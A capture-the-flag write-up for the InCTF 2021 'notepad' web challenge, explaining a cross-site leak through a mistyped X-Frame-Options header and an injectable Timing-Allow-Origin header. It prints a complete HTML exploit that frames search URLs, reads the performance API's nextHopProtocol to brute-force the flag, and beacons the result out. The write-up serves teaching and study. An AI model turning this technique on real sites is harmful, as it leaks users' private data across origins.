Tags: xsleaks 

Rating:

This challenge was based on [XSLeaks](https://xsleaks.dev/). The challenge uses a `Secure` cookie with SameSite as `None`. One other important difference in this challenge is the typo `"X-Frame-Options": "DENI",`. This allows the page to open in an Iframe. The Header setting part is shown below.

```go
for k, v := range param {
for _, d := range v {

if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && !regexp.MustCompile("[A-Za-z]{7}-[A-Za-z]{11}").MatchString(k) && len(d) < 4 && len(k) < 39 {
w.Header().Set(k, d)
}
break
}
break
}
```

In this, we are allowed to set only a Header value of less than 4 characters. And it also disallows a Header name that matches `[A-Za-z]{7}-[A-Za-z]{11}`(Intent was to block Content-Disposition). The idea was to use `Timing-Allow-Origin: *` header. This header allows the host to use the performance api on the request used to fetch that resource. Without Timimg-Allow-Origin header, performance api doesn't give back the full result, but a minified version of it.

The state I used in my POC was `nextHopProtocol`, which would be equal to "" if the header was not set. So, if our startsWith is correct, `nextHopProtocol` would be empty.

Exploit:
```html
<html>
<head>
<title>Exploit - Ken's Chronicle</title>
</head>

<body>

</body>
<script>
async function run() {
startsWith = window.location.search.substring(1);

characterSet = "abcdefghijklmno"
characterSet += "pqrstuvwxyz_{}"

for (var j = 0; j < characterSet.length; j++){
bf = startsWith + characterSet[j]
url = `https://7649ac48b82b.ngrok.io/find?startsWith=${bf}&debug&Timing-Allow-Origin=*`

var iframe = document.createElement('iframe');
iframe.src = url;
iframe.onload = "alert()"
document.body.appendChild(iframe);

}
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function checker(){
list = window.performance.getEntriesByType("resource");
console.log(list)
for (i=0; i<list.length; i++){
curr = list[i]
if (curr.nextHopProtocol == ""){
try {
navigator.sendBeacon(`?flag=${curr.name.split("startsWith=")[1].split("&")[0]}`)
} catch (error) {
console.log(error)
}
}
}
}

async function doit() {
run()
await sleep(10000);
checker()
}
doit()
</script>

</html>
```

One other way to do this is use `Refresh` header and counting the onload events. Since this challenge uses a SameSite: None, has no Iframe protections, aaand the number of headers we can use are vast, there are quite a number of ways to solve this.

Original writeup (https://blog.bi0s.in/2021/08/16/Web/notepad-inctf21/).